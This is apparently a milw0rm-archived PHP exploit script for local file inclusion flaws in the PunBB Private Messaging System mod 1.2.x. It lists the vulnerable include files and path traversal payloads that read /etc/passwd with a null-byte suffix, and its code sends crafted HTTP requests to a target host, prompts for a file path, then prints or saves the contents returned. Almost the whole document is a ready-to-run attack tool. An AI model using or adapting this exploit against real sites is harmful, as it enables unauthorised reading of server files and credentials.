<?php
error_reporting(0);
ini_set("default_socket_timeout",5);
/*
PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit
-----------------------------------------------------------
by athos - staker[at]hotmail[dot]it
download mod http://www.punres.org/files.php?pid=52
download cms http://punbb.org
-----------------------------------------------------------
register_globals = 1
magic_quotes_gpc = 1
Directory (files/include/pms)
functions_navlinks.php?pun_user[language]=../../../../../etc/passwd
profile_send.php?pun_user[language]=../../../../../etc/passwd
viewtopic_PM-link.php?pun_user[language]=../../../../../etc/passwd
../../etc/passwd and nullbyte
File (files/include/pms/functions_navlinks.php)
1. <?php
2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
$pun_user['language'] isn't declared :D you can include any file
functions_navlinks.php?pun_user[language]=../../../etc/passwd%00
-------------------------------------------------------------------
File (files/include/pms/header_new_messages.php)
1. <?php
2. if(!$pun_user['is_guest'] && $pun_user['g_pm'] == 1 && $pun_config['o_pms_enabled'] ){
3. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
$pun_user['g_pm'] isn't declared
$pun_config['o_pms_enabled'] isn't declared
header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=../etc/passd%00
-------------------------------------------------------------------
File (files/include/pms/profile_send.php))
1. <?php
2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
$pun_user['language'] isn't declared
profile_send.php?pun_user[language]=../../../../etc/passwd%00
-------------------------------------------------------------------
File (files/include/pms/viewtopic_PM-link.php)
1. <?php
2. require PUN_ROOT.'lang/'.$pun_user['language'].'/pms.php';
$pun_user['language'] isn't declared
viewtopic_PM-link.php?pun_user[language]=../../../../etc/passwd%00
-------------------------------------------------------------------
Usage: php [punbb.php] [host/path] [mode]
php [punbb.php] [host/path] [save]
php [punbb.php] [host/path] [NULL]
Example:
php punbb.php localhost/punbb save
php punbb.php localhost/punbb
NOTE: Don't add me on MSN Messenger
*/
$exploit = new Exploit;
$domain = $argv[1];
$mymode = $argv[2];
$exploit->starting();
$exploit->is_vulnerable($domain);
$exploit->exploiting($domain,$mymode);
class Exploit
{
function http_request($host,$data)
{
if(!$socket = socket_create(AF_INET,SOCK_STREAM,SOL_TCP))
{
echo "socket_create() error!\r\n";
exit;
}
if(!socket_set_option($socket,SOL_SOCKET,SO_BROADCAST,1))
{
echo "socket_set_option() error!\r\n";
exit;
}
if(!socket_connect($socket,$host,80))
{
echo "socket_connect() error!\r\n";
exit;
}
if(!socket_write($socket,$data,strlen($data)))
{
echo "socket_write() errror!\r\n";
exit;
}
while($get = socket_read($socket,1024,PHP_NORMAL_READ))
{
$content .= $get;
}
socket_close($socket);
$array = array(
'HTTP/1.1 404 Not Found',
'HTTP/1.1 300 Multiple Choices',
'HTTP/1.1 301 Moved Permanently',
'HTTP/1.1 302 Found',
'HTTP/1.1 304 Not Modified',
'HTTP/1.1 400 Bad Request',
'HTTP/1.1 401 Unauthorized',
'HTTP/1.1 402 Payment Required',
'HTTP/1.1 403 Forbidden',
'HTTP/1.1 405 Method Not Allowed',
'HTTP/1.1 406 Not Acceptable',
'HTTP/1.1 407 Proxy Authentication Required',
'HTTP/1.1 408 Request Timeout',
'HTTP/1.1 409 Conflict',
'HTTP/1.1 410 Gone',
'HTTP/1.1 411 Length Required',
'HTTP/1.1 412 Precondition Failed',
'HTTP/1.1 413 Request Entity Too Large',
'HTTP/1.1 414 Request-URI Too Long',
'HTTP/1.1 415 Unsupported Media Type',
'HTTP/1.1 416 Request Range Not Satisfiable',
'HTTP/1.1 417 Expectation Failed',
'HTTP/1.1 Retry With',
);
for($i=0;$i<=count($array);$i++)
if(eregi($array[$i],$content))
{
return ("$array[$i]\r\n");
break;
}
else
{
return ("$content\r\n");
break;
}
}
function is_vulnerable($host)
{
$host = explode('/',$host);
$header .= "GET /$host[1]/profile_send.php?pun_user[language]=%27 HTTP/1.1\r\n";
$header .= "Host: $host[0]\r\n";
$header .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$header .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$header .= "Accept-Language: en-us,en;q=0.5\r\n";
$header .= "Accept-Encoding: gzip,deflate\r\n";
$header .= "Connection: close\r\n\r\n";
if(stristr($this->http_request($host[0],$header),"\\'"))
{
echo "[+] Magic Quotes GPC/Register Globals On!\n";
echo "[+] Exploit Failed!\n";
exit;
}
else
{
return false;
}
}
function starting()
{
global $argv;
if(preg_match('/http://(.+?)$/',$argv[1]) or empty($argv[1]))
{
echo "[+] PunBB (Private Messaging System 1.2.x) Multiple LFI Exploit\r\n";
echo "[+] by athos - staker[at]hotmail[dot]it\r\n";
echo " -----------------------------------------------------------\r\n";
echo "[+] Usage: php $argv[0] [host/path] [mode]\r\n";
echo "[+] Usage: php $argv[0] [host/path] [save]\r\n";
echo "[+] Usage: php $argv[0] [host/path] \r\n";
exit;
}
}
function exploiting($host,$mode)
{
$host = explode('/',$host);
$i = 0;
echo "[+] Local File (ex: ../../etc/passwd%00)\r\n";
echo "[+] Local File: ";
$file = stripslashes(trim(fgets(STDIN)));
if(empty($file)) die("you fail");
$array = array (
"functions_navlinks.php?pun_user[language]=$file",
"profile_send.php?pun_user[language]=$file",
"viewtopic_PM-link.php?pun_user[language]=$file",
"header_new_messages.php?pun_user[g_pm]=1&pun_config[o_pms_enabled]=x&pun_user[language]=$file",
);
$write .= "GET /$host[1]/files/include/pms/$array[$i] HTTP/1.1\r\n";
$write .= "Host: $host[0]\r\n";
$write .= "User-Agent: Mozilla/4.5 [en] (Win95; U)\r\n";
$write .= "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n";
$write .= "Accept-Language: en-us,en;q=0.5\r\n";
$write .= "Accept-Encoding: gzip,deflate\r\n";
$write .= "Connection: close\r\n\r\n";
if(stristr($this->http_request($host[0],$write),'No such file or directory in'))
{
$i++;
}
else
{
if($mode == "save")
{
$rand = rand(0,99999);
fclose(fwrite(fopen(getcwd().'/'.$rand.'.txt',"a+"),$this->http_request($host[0],$write)));
echo "[+] File $rand Saved Successfully!\r\n";
echo "[+] Exploit Terminated!\r\n";
exit;
}
else
{
echo $this->http_request($host[0],$write);
exit;
}
}
}
}
# milw0rm.com [2008-11-19]
